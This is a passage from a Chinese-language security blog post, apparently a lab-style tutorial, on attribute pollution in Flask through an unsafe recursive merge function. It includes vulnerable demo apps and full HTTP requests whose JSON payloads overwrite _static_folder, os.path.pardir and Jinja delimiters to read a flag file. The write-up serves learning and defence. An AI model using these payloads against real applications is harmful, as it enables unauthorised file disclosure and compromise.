这个属性用于定义静态文件的目录，默认情况下，Flask 会从 static 文件夹中提供静态文件。所以我们只要污染这个属性就可以进行目录穿越

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Flask(WerkzeugApp):
    def __init__(self, import_name, static_url_path=None, static_folder='static',
                 static_host=None, host_matching=False, subdomain_matching=False,
                 template_folder='templates', instance_path=None,
                 instance_relative_config=False, root_path=None):
        # ... 其他初始化代码 ...
        
        if static_url_path is not None:
            self._static_url_path = static_url_path
        else:
            self._static_url_path = '/static'

        if static_folder is not None:
            self.static_folder = static_folder
        else:
            self.static_folder = 'static'

        # ... 其他初始化代码 ...

查了一下，_static_folder控制了实际静态文件所在位置，我们自己起环境试试

1
2
3
4
5
<html>
<h1>hello</h1>
<body>    
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "flag in ./flag but heres only static/index.html"


app.run(host="0.0.0.0")

还得是服务器啊，本地老是出问题，不知道为啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST / HTTP/1.1
Host: ip:5000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: psession=65b25e9d-b6c8-4b71-bb63-9417e0d14c45
Connection: close
Content-Type: application/json
Content-Length: 142

{
    "__init__":{
        "__globals__":{
            "app":{
                "_static_folder":"./"
            }
        }
    }
}

然后污染成功就可以啦

1
2
3
4
5
6
7
8
9
10
11
12
GET /static/flag HTTP/1.1
Host: ip:5000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: psession=65b25e9d-b6c8-4b71-bb63-9417e0d14c45
Connection: close


注意搭建环境的时候目录是这样的

1

os.path.pardir

这里test时把static文件夹改成templates

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from flask import Flask,request,render_template
import json
import os

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "flag in ./flag but u just can use /file to vist ./templates/file"

@app.route("/<path:path>")
def render_page(path):
    if not os.path.exists("templates/" + path):
        return "not found", 404
    return render_template(path)

app.run(host="0.0.0.0",port=5000,debug=True)

这里很明显我们要目录穿越，但是它只让我们查看/templates里面的文件，那怎么办呢，先穿越，打出报错(但是像之前进行pin码计算一样，我也不能稳定的打出报错)，访问/test.py打出报错，由于我们这里是因为渲染的报错，所以我们跟进这个

2

使用Ctrl+鼠标左键跟进来之后发现

1

继续跟进，注意我们这里是因为path的原因导致的渲染失败，所以我们进来找path

1

这个函数把我们的路径进行拆分，估计是这里有问题，还有就是我标的那个符号，引用Infernity师傅的话

这个符号名为重写符号，对父类进行重写，我们跟进的时候只需要看自己需要哪个，就找哪个

所以这里我们是路径问题，找到了第二个get_source函数，继续跟进

2

欧克啊终于是找到了，那么污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST / HTTP/1.1
Host: ip:5000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: psession=65b25e9d-b6c8-4b71-bb63-9417e0d14c45
Connection: close
Content-Type: application/json
Content-Length: 179

{
    "__init__":{
        "__globals__":{
            "os":{
                "path":{
                    "pardir":"?"
                }
            }
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
GET /../flag HTTP/1.1
Host: ip:5000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: psession=65b25e9d-b6c8-4b71-bb63-9417e0d14c45
Connection: close


jinja_SSTI

大家常见的是{{}}，但是有些特殊情况有这个是，那么我们就可以污染一下，使得其他符号也能做到相同的效果

1
2
3
4
5
<html>
<h1>Look this -> [[flag]] <- try to make it become the real flag</h1>
<body>    
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from flask import Flask,request,render_template
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "go check /index before merge it"


@app.route('/index',methods=['POST', 'GET'])
def templates():
    return render_template("index.html", flag = open("flag", "rt").read())

app.run(host="0.0.0.0",port=5000,debug=True)

这边尝试了一会儿，都拿不到报错消息，那我们本是是不是jinja的问题，那我们直接进flask，这里的目的就是污染jinja标识符为[[]]，那样子我们就可以拿到flag了，找不到跟进哪里了，那看看官方文档https://jinja.palletsprojects.com/en/3.1.x/api/#jinja2.Environment

1

然后还是找不到，不过我们知道了一些重要消息，variable_start_string，variable_end_string，直接问AI知道是这里

2

好了，这里我们直接跟进，发现啥玩意，找不到任何东西

1

很显然么有任何用，但是看了看也才200多行，可以直接浏览一下，发现有很多类似于这种东西app.jinja_env.from_string，那我们此时直接替换成我们的不就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST / HTTP/1.1
Host: ip:5000
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: psession=65b25e9d-b6c8-4b71-bb63-9417e0d14c45
Connection: close
Content-Type: application/json
Content-Length: 250

{
    "__init__":{
        "__globals__":{
            "app":{
                "jinja_env":{
                    "variable_start_string":"[[",
                    "variable_end_string":"]]"
                }
            }
        }
    }
}

再访问index就拿到flag了，但是这里仍然有个小细节，就是如果直接跟着提示进入了/index，那么再次进行污染是不会被解析的

Flask默认会对一定数量内的模板文件编译渲染后进行缓存，下次访问时若有缓存则会优先渲染缓存，所以输入payload污染之后虽然语法标识符被替换了，但渲染的内容还是按照污染前语生成的缓存，由于缓存编译时并没有存在flag变量，所以自然没有被填充flag。

所以我们要先污染，再进行访问

padash

这个模块里面的函数和merge基本相同，同样可以做到污染的事情，后面再研究

0x03 小结

太优雅了，而且在这个过程中学会了跟进代码去审计，知道原理逻辑，虽然确实中间调试的时候会花费很多时间但是很开心！不过这里所提及的东西还是太过浅显，包括劫持等操作，后面还会探讨

0x04 reference

Infernity师傅对于代码审计部分的一些基本操作的帮助(第一次跟进，感觉很舒服)

期间还问了一些师傅其他问题，最后自己慢慢调试解决问题，谢谢师傅们的帮助啦

网上的文章都有看，谢谢师傅们！

  • Title: flask原型链污染
  • Author: baozongwi
  • Created at : 2024-10-03 16:57:12
  • Updated at : 2024-10-04 15:50:24
  • Link: https://baozongwi.xyz/2024/10/03/flask原型链污染/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
flask原型链污染
  1. 0x01 前言
  2. 0x02 question
    1. 父子类的继承
      1. 概念
      2. 普通继承
      3. 多重继承
  3. 污染过程解析
  4. 属性污染以及寻找
    1. 原型链
    2. 非继承
      1. globals
      2. sys
      3. Loader加载器
    3. 函数形参默认值替换
    4. 关键信息替换
      1. session_key
      2. _got_first_request
      3. _static_url_path
      4. os.path.pardir
      5. jinja_SSTI
    5. padash
  • 0x03 小结
  • 0x04 reference